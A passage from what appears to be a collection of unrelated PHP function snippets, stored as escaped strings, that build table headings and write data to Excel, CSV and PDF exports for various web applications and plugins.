Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "function create_pool_header()\n{\n $header =\n \"<thead>\n <tr>\n <th scope='col' class='rounded-company'>Pool</th>\n <th scope='col' class='rounded-q1'>Priority</th>\n <th scope='col' class='rounded-q1' colspan='2'>URL</th>\n <th scope='col' class='rounded-q1'>Gets</th>\n <th scope='col' class='rounded-q1'>Accepts</th>\n <th scope='col' class='rounded-q1'>Rejects</th>\n <th scope='col' class='rounded-q1'>Discards</th>\n <th scope='col' class='rounded-q1'>Stales</th>\n <th scope='col' class='rounded-q1'>Get Fails</th>\n <th scope='col' class='rounded-q1'>Rem fails</th>\n </tr>\n </thead>\";\n\n return $header;\n}", "public function get_heading() {\n\t\tif ( $this->object['voucher_count'] == 1 ) {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading ), $this->object );\n\t\t} else {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading_multiple ), $this->object );\n\t\t}\n\t}", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nGROUP BY Command\nMAINHEADING;\n }", "public function get_name()\n {\n return 'section-heading';\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "private function min_headings_num() {\n\t\t$this->section_data['general_min_headings_num'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_min_headings_num',\n\t\t\t'label' \t\t\t\t=> __( 'Display TOC when', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> '',\n\t\t\t'type' \t\t\t\t\t=> 'number',\n\t\t\t'input_attrs'\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'class' => 'small-text'\n\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t'sanitize'\t\t\t=> 'absint',\n\t\t\t'suffix'\t\t\t\t=> __( 'or more headings are present.', 'fixedtoc' )\n\t\t);\n\t}", "static public function prepHeads()\n {\n self::$heads['row_number'] = '№ п/п';\n self::$heads['locomotive_name'] = 'Наименование';\n}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "function DisplayTableHeader()\n{\n\t$pdf = $GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "public static function wdtSheetsNoHeadingValidation()\n {\n return [\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "public function buildTitles()\n {\n return $this->formatLine($this->_buildTitles());\n }", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nOrganizational Units\nMAINHEADING;\n }", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "function headings() {\r\n\t\t// and that they receive anchors so that they may be linked to from the table of contents.\r\n\t\t//ReTidy::force_headings();\r\n\t\tReTidy::heading_anchors();\r\n\t}", "public function get_game_one_heading () {\n\t\treturn get_field('field_5b476ff519749', $this->get_id());\n\t}", "public function mombo_main_headings_color() {\n \n \n }", "function TituloCampos()\n\t{\n\t\t$this->Ln();\n\t\t$this->SetFillColor(244,249,255);\n\t\t$this->SetDrawColor(225,240,255);\n\t\t$this->SetLineWidth(.2);\n\t\t//dimenciones de cada campo\n\t\t$w=array(20,74,42,44);\n\t\t$header=array(strtoupper(_('numero')),strtoupper(_('nombre')),strtoupper(_('familia')),strtoupper(_('unidad medida')));\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->SetX(15);\n\t\tfor($k=0;$k<count($header);$k++)\n\t\t\t$this->Cell($w[$k],7,$header[$k],1,0,'J',1);\n\t\t$this->Ln();\n\t\treturn $w;\n\t}", "public static function get_question_table_headers() {\n\n $headerdata = array();\n $headerdata[] = get_string('qnumber', 'mod_simplelesson');\n $headerdata[] = get_string('question_name', 'mod_simplelesson');\n $headerdata[] = get_string('question_text', 'mod_simplelesson');\n $headerdata[] = get_string('questionscore', 'mod_simplelesson');\n $headerdata[] = get_string('pagetitle', 'mod_simplelesson');\n $headerdata[] = get_string('setpage', 'mod_simplelesson');\n $headerdata[] = get_string('qlinkheader', 'mod_simplelesson');\n\n return $headerdata;\n }", "function populateInstrumentsWorksheet( &$worksheet, &$languages, $default_language_id, &$price_format, &$box_format, &$weight_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null) {\n\t\t$query = $this->db->query( \"DESCRIBE `\".DB_PREFIX.\"instrument`\" );\n\t\t$instrument_fields = array();\n\t\tforeach ($query->rows as $row) {\n\t\t\t$instrument_fields[] = $row['Field'];\n\t\t}\n\n\t\t// Opencart versions from 2.0 onwards also have instrument_description.meta_title\n\t\t$sql = \"SHOW COLUMNS FROM `\".DB_PREFIX.\"instrument_description` LIKE 'meta_title'\";\n\t\t$query = $this->db->query( $sql );\n\t\t$exist_meta_title = ($query->num_rows > 0) ? true : false;\n\n\t\t// Set the column widths\n\t\t$j = 0;\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('instrument_id'),4)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('categories'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sku'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('upc'),12)+1);\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('ean'),14)+1);\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('jan'),13)+1);\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('isbn'),13)+1);\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('mpn'),15)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('location'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('quantity'),4)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('model'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('manufacturer'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image_name'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('shipping'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_modified'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_available'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight'),6)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('width'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('height'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tax_class_id'),2)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('seo_keyword'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('description')+4,32)+1);\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_title')+4,20)+1);\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_description')+4,32)+1);\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_keywords')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('stock_status_id'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_ids'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('layout'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('related_ids'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tags')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('subtract'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('minimum'),8)+1);\n\n\t\t// The instrument headings row and column styles\n\t\t$styles = array();\n\t\t$data = array();\n\t\t$i = 1;\n\t\t$j = 0;\n\t\t$data[$j++] = 'instrument_id';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'name('.$language['code'].')';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'categories';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'sku';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'upc';\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'ean';\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'jan';\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'isbn';\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'mpn';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'location';\n\t\t$data[$j++] = 'quantity';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'model';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'manufacturer';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'image_name';\n\t\t$data[$j++] = 'shipping';\n\t\t$styles[$j] = &$price_format;\n\t\t$data[$j++] = 'price';\n\t\t$data[$j++] = 'points';\n\t\t$data[$j++] = 'date_added';\n\t\t$data[$j++] = 'date_modified';\n\t\t$data[$j++] = 'date_available';\n\t\t$styles[$j] = &$weight_format;\n\t\t$data[$j++] = 'weight';\n\t\t$data[$j++] = 'weight_unit';\n\t\t$data[$j++] = 'length';\n\t\t$data[$j++] = 'width';\n\t\t$data[$j++] = 'height';\n\t\t$data[$j++] = 'length_unit';\n\t\t$data[$j++] = 'status';\n\t\t$data[$j++] = 'tax_class_id';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'seo_keyword';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'description('.$language['code'].')';\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$styles[$j] = &$text_format;\n\t\t\t\t$data[$j++] = 'meta_title('.$language['code'].')';\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_description('.$language['code'].')';\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_keywords('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'stock_status_id';\n\t\t$data[$j++] = 'store_ids';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'layout';\n\t\t$data[$j++] = 'related_ids';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'tags('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'sort_order';\n\t\t$data[$j++] = 'subtract';\n\t\t$data[$j++] = 'minimum';\n\t\t$worksheet->getRowDimension($i)->setRowHeight(30);\n\t\t$this->setCellRow( $worksheet, $i, $data, $box_format );\n\n\t\t// The actual instruments data\n\t\t$i += 1;\n\t\t$j = 0;\n\t\t$store_ids = $this->getStoreIdsForInstruments();\n\t\t$layouts = $this->getLayoutsForInstruments();\n\t\t$instruments = $this->getInstruments( $languages, $default_language_id, $instrument_fields, $exist_meta_title, $offset, $rows, $min_id, $max_id );\n\t\t$len = count($instruments);\n\t\t$min_id = $instruments[0]['instrument_id'];\n\t\t$max_id = $instruments[$len-1]['instrument_id'];\n\t\tforeach ($instruments as $row) {\n\t\t\t$data = array();\n\t\t\t$worksheet->getRowDimension($i)->setRowHeight(26);\n\t\t\t$instrument_id = $row['instrument_id'];\n\t\t\t$data[$j++] = $instrument_id;\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['categories'];\n\t\t\t$data[$j++] = $row['sku'];\n\t\t\t$data[$j++] = $row['upc'];\n\t\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['ean'];\n\t\t\t}\n\t\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['jan'];\n\t\t\t}\n\t\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['isbn'];\n\t\t\t}\n\t\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['mpn'];\n\t\t\t}\n\t\t\t$data[$j++] = $row['location'];\n\t\t\t$data[$j++] = $row['quantity'];\n\t\t\t$data[$j++] = $row['model'];\n\t\t\t$data[$j++] = $row['manufacturer'];\n\t\t\t$data[$j++] = $row['image_name'];\n\t\t\t$data[$j++] = ($row['shipping']==0) ? 'no' : 'yes';\n\t\t\t$data[$j++] = $row['price'];\n\t\t\t$data[$j++] = $row['points'];\n\t\t\t$data[$j++] = $row['date_added'];\n\t\t\t$data[$j++] = $row['date_modified'];\n\t\t\t$data[$j++] = $row['date_available'];\n\t\t\t$data[$j++] = $row['weight'];\n\t\t\t$data[$j++] = $row['weight_unit'];\n\t\t\t$data[$j++] = $row['length'];\n\t\t\t$data[$j++] = $row['width'];\n\t\t\t$data[$j++] = $row['height'];\n\t\t\t$data[$j++] = $row['length_unit'];\n\t\t\t$data[$j++] = ($row['status']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['tax_class_id'];\n\t\t\t$data[$j++] = ($row['keyword']) ? $row['keyword'] : '';\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tif ($exist_meta_title) {\n\t\t\t\tforeach ($languages as $language) {\n\t\t\t\t\t$data[$j++] = html_entity_decode($row['meta_title'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_keyword'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['stock_status_id'];\n\t\t\t$store_id_list = '';\n\t\t\tif (isset($store_ids[$instrument_id])) {\n\t\t\t\tforeach ($store_ids[$instrument_id] as $store_id) {\n\t\t\t\t\t$store_id_list .= ($store_id_list=='') ? $store_id : ','.$store_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $store_id_list;\n\t\t\t$layout_list = '';\n\t\t\tif (isset($layouts[$instrument_id])) {\n\t\t\t\tforeach ($layouts[$instrument_id] as $store_id => $name) {\n\t\t\t\t\t$layout_list .= ($layout_list=='') ? $store_id.':'.$name : ','.$store_id.':'.$name;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $layout_list;\n\t\t\t$data[$j++] = $row['related'];\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['tag'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['sort_order'];\n\t\t\t$data[$j++] = ($row['subtract']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['minimum'];\n\t\t\t$this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );\n\t\t\t$i += 1;\n\t\t\t$j = 0;\n\t\t}\n\t}", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "function bpfit_weight_subtab_function_to_show_title() {\n\t\t\techo 'Weight Desc.';\n\t\t}", "private function showDetailsHorizontal()\n\t{\n\t\t$style = $this->col_aggr_sum ? 'table-details-left' : 'table-details-right';\n\t\t\n\t\tforeach ($this->data_show as 